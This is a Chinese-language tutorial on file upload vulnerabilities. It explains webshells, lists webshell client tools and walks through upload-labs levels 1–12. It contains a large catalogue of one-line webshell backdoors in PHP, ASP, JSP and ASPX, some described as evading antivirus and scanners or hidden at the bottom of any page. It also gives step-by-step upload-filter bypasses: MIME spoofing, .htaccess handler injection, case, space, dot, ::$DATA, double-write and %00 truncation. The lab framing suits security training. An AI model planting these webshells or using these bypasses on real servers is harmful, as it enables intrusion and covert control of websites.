0x14 文件上传漏洞#

一、什么是文件上传漏洞#

1
  文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。

二、什么是webshell#

1
  WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称之为一种网页后门。攻击者在入侵了一个网站后，通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起，然后使用浏览器来访问这些后门，得到一个命令执行环境，以达到控制网站服务器的目的（可以上传下载或者修改文件，操作数据库，执行任意命令等）。 WebShell后门隐蔽较性高，可以轻松穿越防火墙，访问WebShell时不会留下系统日志，只会在网站的web日志中留下一些数据提交记录

三、一句话木马/获得shell的工具#

常用的webshell就是一句话木马，结合中国蚁剑、中国菜刀或者hackbar等工具可以很高效快捷的获得网站shell。

1
蚁剑
2

3
菜刀：网站的版本太老了。
4

5
冰蝎：https://github.com/rebeyond/behinder
6

7
哥斯拉：https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla

1、常用的一句话木马#

1
<?php
2
@eval($_REQUEST['admin']);
3
?>
4

5
@：错误抑制符
6

7
eval：把字符串作为PHP代码执行
8

9
request：相当于get和post的结合

2、测试类phpinfo()#

[这个要是能显现出来基本上可以判断为有文件上传漏洞]

1
<?php
2
phpinfo()
3
?>

3、一句话木马大全#

1
##PHP：
2
<?php @eval($_POST['r00ts']);?>
3
<?php phpinfo();?>
4
<?php @eval($_POST[cmd]);?>
5
<?php @eval($_REQUEST[cmd]);?>
6
<?php assert($_REQUEST[cmd]); ?>
7
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
8
<?php
9
//?cmd=phpinfo();
10
$func =create_function('',$_REQUEST['cmd']);
11
$func();
12
?>
13

14
<?php
15
//?func=system&cmd=whoami
16
$func=$_GET['func'];
17
$cmd=$_GET['cmd'];
18
$array[0]=$cmd;
19
$new_array=array_map($func,$array);
20
//print_r($new_array);
21
?>
22

23
<?php
24
//?cmd=phpinfo()
25
@call_user_func(assert,$_GET['cmd']);
26
?>
27

28
<?php
29
//?cmd=phpinfo()
30
$cmd=$_GET['cmd'];
31
$array[0]=$cmd;
32
call_user_func_array("assert",$array);
33
?>
34

35
<?php
36
//?func=system&cmd=whoami
37
$cmd=$_GET['cmd'];
38
$array1=array($cmd);
39
$func =$_GET['func'];
40
array_filter($array1,$func);
41
?>
42

43
<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
44
<?php usort(...$_GET);?>  php环境>=5.6才能用
45
<?php eval($_POST1);?>
46
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
47
<?php system($_REQUEST1);?>
48
<?php ($_=@$_GET1).@$_($_POST1)?>
49
<?php eval_r($_POST1)?>
50
<?php @eval_r($_POST1)?>//容错代码
51
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
52
<?$_POST['c']($_POST['cc']);?>
53
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
54
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
55
<?php echo `$_GET['r']` ?>
56

57
<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话
58

59
<?php (])?>   上面这句是防杀防扫的！网上很少人用！可以插在网页任何ASP文件的最底部不会出错，比如 index.asp里面也是可以的！
60

61
<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
62
加了判断的PHP一句话，与上面的ASP一句话相同道理，也是可以插在任何PHP文件 的最底部不会出错！
63

64
<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
65
无防下载表，有防下载表可尝试插入以下语句突破的一句话
66

67
<%eval(request(“1″)):response.end%> 备份专用

1
##JSP：
2

3
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
4
提交客户端
5
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

1
##ASP
2

3
<%eval(Request.Item["r00ts"],”unsafe”);%>
4

5
<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
6

7
<%execute(request(“1″))%>
8

9
<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话

1
##aspx
2

3
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script>
4

5
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>
6

7
<%eval request(chr(35))%>  不用双引号的一句话。

四、产生文件上传漏洞的原因#

1
1、对于上传文件的后缀名（扩展名）没有做较为严格的限制
2

3
2、对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
4

5
3、权限上没有对于上传的文件目录设置不可执行权限，（尤其是对于shebang类型的文件）
6

7
4、对于web server对于上传文件或者指定目录的行为没有做限制

1
  在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data，同时加入文件域，而后通过 HTTP 协议将文件内容发送到服务器，服务器端读取这个分段 (multipart) 的数据信息，并将其中的文件内容提取出来并保存的。通常，在进行文件保存的时候，服务器端会读取文件的原始文件名，并从这个原始文件名中得出文件的扩展名，而后随机为文件起一个文件名 ( 为了防止重复 )，并且加上原始文件的扩展名来保存到服务器上
2

3
文件上传后导致的常见安全问题一般有:
4

5
1、上传文件是Web脚本语言，服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;
6

7
2、上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
8

9
3、上传文件是病毒、木马文件，黑客用以诱骗用户或者管理员下载执行:
10

11
4、上传文件是钓鱼图片或为包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。
12

13
  除此之外，还有一些不常见的利用方法，比如将上传文件作为一个入口,溢出服务器的后台处理程序，如图片解析模块;或者上传-一个合法的文本文件， 其内容包含了PHP脚本，再通过“本地文件包含漏洞(Local File Include)"执行此脚本;等等。此类问题不在此细述。

五、靶场upload-labs的讲解#

1、靶场常见限制代码#

1)前端限制#

1
//定义允许上传的文件类型
2
var allow_ext = ".jpg|.png|.gif";
3

4
从前端限制上传的文件类型为这几个类型

2)后端限制#

1
1、$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
2

3
$deny_ext=array("  ");  限制mime类型
4

5
2、$file_name = trim($_FILES['upload_file']['name']);
6

7
trim():去除字符串首尾处的空白字符，也就是去除首尾空格
8

9
3、$file_name = deldot($file_name);//删除文件名末尾的点
10

11
deldot():去除末尾的所有点
12

13
4、$file_ext = strrchr($file_name, '.');用于获取文件后缀名
14

15
strrchr()：用于获取文件或追名
16

17
5、$file_ext = strtolower($file_ext); //将所有的大写通通转换为转换为小写
18

19
strtolower()：所有的大写通通转换为小写
20

21
6、$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA （该靶场独有，windows会过滤::$DATA）
22

23
str_ireplace():替换的意思
24

25
7、$file_name = str_ireplace($deny_ext,"", $file_name);
26

27
就譬如这句话，上传的文件后缀名如果匹配上黑名单的话它就替换成空，也就是什么都没有，相当于将文件名里面的某个参数删除
28

29
8、$file_ext = trim($file_ext); //获取文件名后再一次的首尾去空

2、常见的一些文件上传绕过方式#

1
1、mime类型绕过，.php3 .phtml
2

3
2、.htaccesss
4

5
3、空格和点绕过
6

7
4、::$DATA
8

9
5、双写绕过
10

11
6、大小写绕过（windows）
12

13
7、%00截断
14

15
8、文件包含绕过，此时蕴含一句话木马的文件可以使jpg这样的图片后缀。
16

17
9、条件竞争：文件会先上传，在判定。这个时候可以上传一个能够创建shell.php文件的文件进行绕过。
18

19
windows文件名不能包含下列字符，会把它删了：
20
\/ :* ?" < >l
21

22
因此我们也可以利用这些特殊字符添加在".php"后面，等上传成功后windows就会自动把这些特殊字符删除，进行一个绕过

3、靶场关卡解析#

这里只是大概讲一个思路，上传成功后就可以用蚁剑进行连接了，不再过多赘述

1、Pass-01(前端绕过)#

1
1、前端绕过
2

3
前端后缀名限制
4

5
上传写有一句话木马的.jpg文件
6

7
用BP抓包将.jpg改成.php即可
8

9
"shell.php" ——> "shell.jpg"

2、Pass-02(mime类型绕过)#

1
2、mime类型绕过
2

3
mime类型限制
4

5
后端限制就不看后缀看mime类型
6

7
BP抓包：修改为这一句——>Content-Type：image/png
8

9
如果不改，放空，会显示文件类型不正确
10

11
Content-Type：
12

13
那我们改一下看看
14

15
Content-Type：image/png
16

17
这就上传成功了

3、Pass-03(查看原有配置文件绕过[比较老的网站才有])#

1
3、查看原有配置文件绕过
2

3
网站老的时候会遇见
4

5
打开老版本小皮-其他-打开配置文件-httpd-conf-查询关键字php3-看到.php .php3 .phtml都当成php文件执行
6

7
这是比较老的网站会出现这样的漏洞，比较新的比较不太好遇到
8

9
用BP抓包，把文件名后缀改成.php3 .phtml
10

11
"shell.php3"/"shell.phtml"

4、Pass-04(.htaccess绕过)#

1
4、.htaccess绕过
2

3
这一关我们先看看源码，连php3，phtml都被限制了，想一想上一关的配置文件，这时候我们要怎么办呢？
4

5
对于这个老网站，有没有可能我们先上传一个配置文件，让它去执行，绕过这些限制呢？
6

7
答案肯定是有的
8

9
比较老的网站可以写一个.htaccess文件，这个文件是Apache的一个系统配置文件，我们打开来一看一看
10
这个格式是Apache的一个固定格式噢大家不用管，我们主要来看一看这个意识啊，这个意思就是说当看见shell.jpg文件呢就当成php文件来执行，这个是不是跟刚才那个很像
11
这个.htaccess的配置文件呢只要在当前目录下都会生效，一般这个文件都不会做出限制，所以我们先直接给它上传这个配置文件
12

13
.htaccesss
14

15
<FilesMatch "shell.jpg">
16
SetHandler application/x-httpd-php
17
</FilesMatch>
18

19
之后再正常上传shell.jpg文件即可（不用BP抓包，直接上传）

5、Pass-05(大写绕过)#

1
5、大写绕过
2

3
windows文件后缀名是不区分大小写的，都可以用（桌面演示）
4

5
用BP抓包
6

7
更改为pHp测试，不行，故意发出疑问，为什么不行呢？
8

9
原来是这边的网页源码限制了
10

11
所以我们改成Php，再尝试一下，你看就成功了
12

13
"shell.Php"

6、Pass-06(空格绕过)#

1
6、空格绕过
2

3
用BP抓包，在文件后缀名后面添加个空格或者非常多空格
4

5
"shell.php             "
6

7
成功上传

7、Pass-07(点绕过)#

1
7、点绕过
2

3
用BP抓包，在文件后缀名后面添加个点（添加很多点也是可以的，windows会自动过滤）
4

5
"shell.php........"
6

7
成功上传

8、Pass-08(::$DATA绕过)#

1
8、::$DATA绕过
2

3
.php::$DATA
4

5
很明显不在限制的mime类型里面，也就是黑名单里面
6

7
BP抓包
8

9
"shell.php::$DATA"
10

11
上传成功后windows会把::$DATA过滤掉就又变回了.php文件
12

13
windows文件名不能包含下列字符，会把它删了：
14
\/ :* ?" < >l
15

16
因此我们也可以利用这些特殊字符添加在".php"后面，等上传成功后windows就会自动把这些特殊字符删除，进行一个绕过
17

18
就譬如：
19

20
"shell.php\"也可以正常上传

9、Pass-09(一般性限制绕过)#

1
9、一般性限制绕过
2

3
查看网页源代码
4

5
对比之前的代码为 $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
6

7
$file_ext = strrchr($file_name, '.');获取文件后缀
8

9
之前它会把我们最后一个点后面的参数给它提取出来，提取出来之后通过一些函数的过滤和黑名单的过滤再给我们安那个后缀名，所以之前的限制是很大的
10

11
就譬如'shell.php. ' 它就会把最后一个点之后的空格当成后缀名，上传之后就变成了'shell. ',这根本不是一个可执行的文件，所以之前都是不行的
12

13
现在新出现了这一句$img_path = UPLOAD_PATH.'/'.$file_name;
14

15
然后再看看这个$file_name
16

17
$file_name = trim($_FILES['upload_file']['name']);是我们自己所写的那个文件的文件名
18

19
现在这个文件名是我们自己所写的，所以方式会有很多
20

21
所以这一关先看看网页源代码读取它进行限制的一些函数的顺序
22

23
$file_name = trim($_FILES['upload_file']['name']); 首尾先去空，所以我们在后面先给它加上空格
24

25
'.php '
26

27
$file_name = deldot($file_name);//删除文件名末尾的点,再末尾给它加上点
28

29
'.php. '
30

31
$file_ext = strrchr($file_name, '.');获取文件后缀
32

33
$file_ext = strtolower($file_ext); //大写转换为小写，这个跟我们没关系，我们就转换成小写就行了
34

35
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA，这个靶场独有的也不管
36

37
$file_ext = trim($file_ext); //再进行一次首尾去空，所以我们需要再后面再加上空格
38

39
'.php . '
40

41
 因为最后还得匹配一下黑名单，我们要让黑名单匹配不上，所以需要在后面再加一个点
42

43
 '.php. . '
44

45
 "shell.php.     .     "
46

47
 上传之后此时文件的后缀经过函数一系列过滤为" .php. "
48

49
 windows又会把最末尾的点给去掉，所以后缀名就变成了可执行的.php了

10、Pass-10(双写绕过)#

1
10、双写绕过
2

3
多了一句$file_name = str_ireplace($deny_ext,"", $file_name);
4

5
上传的文件后缀名如果匹配上黑名单的话它就替换成空，也就是什么都没有，相当于将文件名里面的某个参数删除
6

7
此时采用双写绕过
8

9
"shell.pphphp"

11、Pass-11(%00截断)#

1
11、%00截断
2

3
白名单限制
4

5
$ext_arr = array('jpg','png','gif');只能写这些后缀的，写其他是一点效果都没有的
6

7
所以我们上传一个写有一句话木马的.jpg文件
8

9
BP抓包
10

11
本来第一行为POST /pass-11/index.php ?save_path=../upload/ HTTP/1.1 上传到../upload/这个路径
12

13
现将第一行改为这个POST /pass-11/index.php ?save_path=../upload/shell.php%00.jpg HTTP/1.1
14

15
因为通过分析网页源代码发现必须要.jpg为后缀名，所以我们后面需要有.jpg，然后%00在ASCII码中属于空字符-null，为空的话像php啊，MySQL啊，碰到%00这样的一个参数就停止了，不会再往下执行了，所以代码执行到./upload/shell.php就结束了,'.jpg'就不会去执行,那么创建的文件就是.php文件
16

17
"POST /pass-11/index.php ?save_path=../upload/shell.php%00.jpg HTTP/1.1"

12、Pass-12(%00截断)#

1
12、%00截断
2

3
这一题前端限制上传文件为图片格式 .jpg/.png/.gif  上传写有一句话木马的.jpg文件
4

5
BP抓包
6

7
上一题写开头，这一题写中间     ../upload/shell.php%00
8

9
但是开头有%00的url解码，中间却没有，所以输了%00之后还得用BP自带的功能给它先解码成空后再放包

0x14 文件上传漏洞#

一、什么是文件上传漏洞#

二、什么是webshell#

三、一句话木马/获得shell的工具#

1、常用的一句话木马#

2、测试类phpinfo()#

3、一句话木马大全#

四、产生文件上传漏洞的原因#

五、靶场upload-labs的讲解#

1、靶场常见限制代码#

1)前端限制#

2)后端限制#

2、常见的一些文件上传绕过方式#

3、靶场关卡解析#

1、Pass-01(前端绕过)#

2、Pass-02(mime类型绕过)#

3、Pass-03(查看原有配置文件绕过[比较老的网站才有])#

4、Pass-04(.htaccess绕过)#

5、Pass-05(大写绕过)#

6、Pass-06(空格绕过)#

7、Pass-07(点绕过)#

8、Pass-08(::$DATA绕过)#

9、Pass-09(一般性限制绕过)#

10、Pass-10(双写绕过)#

11、Pass-11(%00截断)#

12、Pass-12(%00截断)#

从13题开始就是文件包含漏洞了，到文件包含漏洞板块再说#